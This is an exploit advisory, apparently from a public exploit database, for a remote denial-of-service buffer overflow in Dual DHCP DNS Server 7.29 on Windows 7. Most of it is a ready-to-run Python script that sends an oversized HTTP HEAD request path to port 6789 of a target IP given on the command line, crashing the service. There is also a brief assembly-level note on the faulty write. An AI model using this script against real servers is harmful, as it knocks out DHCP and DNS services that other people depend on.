Dual DHCP DNS Server 7.29 Denial Of Service

2016.12.07
Credit: R-73eN
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Title : Dual DHCP DNS Server 7.29 Buffer Overflow (Dos) # Date : 07/12/2016 # Author : R-73eN # Tested on: Dual DHCP DNS Server 7.29 on Windows 7 SP1 (32bit) # Vendor : http://dhcp-dns-server.sourceforge.net/ # Software : https://sourceforge.net/projects/dhcp-dns-server/files/Dual%20DHCP%20DNS%20Server/DualServerInstallerV7.29.exe/download # Vulnerability Description: # The software crashes when it tries to write to an invalid address. # # MOV EBX,DWORD PTR SS:[EBP+8] -> EBP+8 is part of our controlled input # MOV DWORD PTR SS:[ESP+4],31 # MOV DWORD PTR SS:[ESP],1 # ......................... # MOV DWORD PTR DS:[EBX+24],EAX -> Here happens the corruption, EAX fails to move EBX which is our controlled adress + 24 bytes. # # I think this vulnerability is not exploitable because every module that is loaded has ASLR/DEP/SAFESEH enabled (Win 7) # Even if we try to put some valid pointers to manipulate the execution flow we can't because every address on the DualServ.exe # contains 00 which is a badchar in our case. # import socket import time import sys banner = "\n\n" banner +=" ___ __ ____ _ _ \n" banner +=" |_ _|_ __ / _| ___ / ___| ___ _ __ / \ | | \n" banner +=" | || '_ \| |_ / _ \| | _ / _ \ '_ \ / _ \ | | \n" banner +=" | || | | | _| (_) | |_| | __/ | | | / ___ \| |___ \n" banner +=" |___|_| |_|_| \___/ \____|\___|_| |_| /_/ \_\_____|\n\n" print banner host = "" port = 6789 def send_request(host,port,data): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((host,port)) s.send(data) print "[+] Malicious Packet Sent [+]\n" except Exception: print "[+] Exploit failed . . .[+]\n" s.close() ebx = "BBBB" eax = "CCCC" evil = "A" * 497 + eax + "AAAA" + ebx + "D" * 400 if(len(sys.argv) < 1): print '\n Usage : exploit.py ipaddress\n' exit(0) else: host = sys.argv[1] #The method doesn't really matters. It gets valideted only about the length request = "HEAD /{REPLACE} HTTP/1.1\r\nHost: " + str(host) + "\r\nUser-agent: Fuzzer\r\n\r\n" send_request(host,port,request.replace("{REPLACE}",evil))


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